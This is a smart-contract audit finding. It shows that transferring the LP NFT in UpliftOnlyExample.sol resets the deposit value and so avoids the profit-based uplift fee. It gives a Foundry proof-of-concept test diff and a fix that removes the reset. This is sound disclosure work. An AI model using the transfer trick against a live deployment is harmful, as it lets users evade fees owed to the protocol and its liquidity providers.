Summary
Fees collected by UpliftOnlyExample.sol are meant to increase for profitable positions, but users can simply transfer the NFT to another account (and optionally back again) to reset the "deposit value" and avoid the fee entirely.
Vulnerability Details
When removing liquidity, fees scale with how profitable a position was:
localData.lpTokenDepositValueChange =
(int256(localData.lpTokenDepositValueNow) - int256(localData.lpTokenDepositValue)) /
int256(localData.lpTokenDepositValue);
...
feePerLP =
(uint256(localData.lpTokenDepositValueChange) * (uint256(feeDataArray[i].upliftFeeBps) * 1e18)) /
10000;
...
Source: UpliftOnlyExample.sol#L474-L483
The lpTokenDepositValue used here is set in addLiquidityProportional as expected, but then it can be reset with an NFT transfer via the afterUpdate callback function:
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
Source: UpliftOnlyExample.sol#L609
So when a transfer occurs, the fee owed will be reset to 0 (since lpTokenDepositValueChange == 0).
Impact
Profitable users are incentivized to always transfer just before removing liquidity in order to always skip the fee.
A contract could be introduced to simplify the user experience. It can transfer the NFT, remove liquidity, and then forward the assets back to the user in a single transaction. However it's easiest to just transfer it between accounts you control as shown in the POC below.
POC
We updated the test testRemoveLiquidityNoPriceChange to include a price change, which should break many of the test's assertions. But then we also transfer the NFT to another account and then back first, reseting the price history. Now fees are calculated as if there was no price change.
@@ -452,9 +452,25 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
- uint256 nftTokenId = 0;
+ uint256 nftTokenId = 1; // This was set incorrectly in the original test
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ // Adding this section from the `testRemoveLiquidityDoublePositivePriceChange` test below to simulate a 2x price change.
+ int256[] memory prices = new int256[]();
+ for (uint256 i = 0; i < tokens.length; ++i) {
+ prices[i] = int256(i) * 2e18;
+ }
+ updateWeightRunner.setMockPrices(pool, prices);
+
+ // But then we transfer the NFT to reset the deposit value
+ LPNFT lpNft = upliftOnlyRouter.lpNFT();
+ vm.prank(bob);
+ lpNft.transferFrom(bob, alice, nftTokenId);
+ vm.prank(alice);
+ lpNft.transferFrom(alice, bob, nftTokenId);
+
+ // And now the rest of the test continues as if there was no price change...
+
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.startPrank(bob);
@@ -515,7 +531,8 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
//assertEq(upliftOnlyRouter.bptAmount(nftTokenId), 0, "bptAmount mapping should be 0");
//assertEq(upliftOnlyRouter.startTime(nftTokenId), 0, "startTime mapping should be 0");
- assertEq(upliftOnlyRouter.nftPool(nftTokenId), address(0), "pool mapping should be 0");
+ // This is not implemented but n/a here
+ //assertEq(upliftOnlyRouter.nftPool(nftTokenId), address(0), "pool mapping should be 0");
assertEq(
BalancerPoolToken(pool).balanceOf(address(upliftOnlyRouter)),
Recommendation
Remove the section that resets value after a transfer. All existing tests pass after deleting these lines, and it resolves this issue:
@@ -604,12 +604,6 @@ contract UpliftOnlyExample is MinimalRouter, BaseHooks, Ownable {
if (tokenIdIndexFound) {
if (_to != address(0)) {
- // Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
- //vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
- feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
- feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
- feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
-
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
